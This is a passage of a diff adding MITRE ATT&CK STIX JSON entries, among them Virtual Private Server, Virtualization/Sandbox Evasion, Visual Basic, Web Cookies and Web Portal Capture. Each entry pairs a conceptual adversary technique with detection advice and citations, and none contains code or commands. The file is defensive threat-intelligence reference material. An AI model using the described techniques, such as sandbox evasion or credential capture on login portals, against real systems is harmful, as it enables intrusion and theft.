"x_mitre_data_sources": [ + "Internet Scan: Response Metadata", + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T15:36:59.315Z", + "created": "2020-10-01T00:44:23.935Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", + "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1583/003", + "external_id": "T1583.003", + "source_name": "mitre-attack" + }, + { + "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf", + "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", + "source_name": "TrendmicroHideoutsLease" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + }, + { + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "source_name": "Mandiant SCANdalous Jul 2020" + }, + { + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "source_name": "Koczwara Beacon Hunting Sep 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Virtual Private Server", + "x_mitre_data_sources": [ + "Internet Scan: Response Metadata", + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T15:59:02.770Z", + "created": "2020-10-01T00:55:17.771Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0", + "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1584/003", + "external_id": "T1584.003", + "source_name": "mitre-attack" + }, + { + "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf", + "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.", + "source_name": "NSA NCSC Turla OilRig" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + }, + { + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "source_name": "Mandiant SCANdalous Jul 2020" + }, + { + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "source_name": "Koczwara Beacon Hunting Sep 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Virtualization/Sandbox Evasion", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-18T14:57:48.989Z", + "created": "2019-04-17T22:22:24.505Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection", + "Static File Analysis" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", + "x_mitre_contributors": [ + "Deloitte Threat Library Team", + "Sunny Neo" + ], + "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1497", + "external_id": "T1497", + "source_name": "mitre-attack" + }, + { + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", + "source_name": "Deloitte Environment Awareness" + }, + { + "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/", + "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.", + "source_name": "Unit 42 Pirpi July 2015" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-08-16T21:03:21.051Z", + "name": "Visual Basic", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Module: Module Load", + "Script: Script Execution" + ], + "x_mitre_version": "1.2", + "created": "2020-03-09T14:29:51.508Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059/005", + "external_id": "T1059.005", + "source_name": "mitre-attack" + }, + { + "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/", + "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.", + "source_name": "VB .NET Mar 2020" + }, + { + "url": "https://docs.microsoft.com/dotnet/visual-basic/", + "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.", + "source_name": "VB Microsoft" + }, + { + "url": "https://docs.microsoft.com/office/vba/api/overview/", + "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.", + "source_name": "Microsoft VBA" + }, + { + "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications", + "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.", + "source_name": "Wikipedia VBA" + }, + { + "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)", + "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.", + "source_name": "Microsoft VBScript" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Vulnerabilities", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:16:32.119Z", + "created": "2020-10-15T02:59:38.628Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327", + "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1588/006", + "external_id": "T1588.006", + "source_name": "mitre-attack" + }, + { + "url": "https://nvd.nist.gov/", + "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.", + "source_name": "National Vulnerability Database" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Vulnerability Scanning", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:20:09.446Z", + "created": "2020-10-02T16:55:16.047Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", + "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1595/002", + "external_id": "T1595.002", + "source_name": "mitre-attack" + }, + { + "url": "https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning", + "description": "OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.", + "source_name": "OWASP Vuln Scanning" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "WHOIS", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:50:44.113Z", + "created": "2020-10-02T16:56:49.744Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f", + "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1596/002", + "external_id": "T1596.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.whois.net/", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.", + "source_name": "WHOIS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Weaken Encryption", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-21T22:37:49.258Z", + "created": "2020-10-19T18:47:08.759Z", + "id": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8", + "x_mitre_defense_bypassed": [ + "Encryption" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1600", + "external_id": "T1600", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Web Cookies", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Web Credential: Web Credential Creation", + "Web Credential: Web Credential Usage" + ], + "x_mitre_version": "1.1", + "modified": "2021-09-20T16:48:28.041Z", + "created": "2020-12-17T02:14:34.178Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)", + "x_mitre_contributors": [ + "Jen Burns, HubSpot" + ], + "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1606/001", + "external_id": "T1606.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + }, + { + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "source_name": "Unit 42 Mac Crypto Cookies January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Web Portal Capture", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T21:16:16.580Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11T18:59:50.058Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", + "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.", + "x_mitre_system_requirements": [ + "An externally facing login portal is configured." + ], + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1056/003", + "external_id": "T1056.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/569.html", + "external_id": "CAPEC-569", + "source_name": "capec" + }, + { + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-26T20:15:35.821Z", + "name": "Web Protocols", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-15T16:13:46.151Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1071/001", + "external_id": "T1071.001", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Web Service", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-26T23:26:10.297Z", + "created": "2017-05-31T21:31:13.915Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary 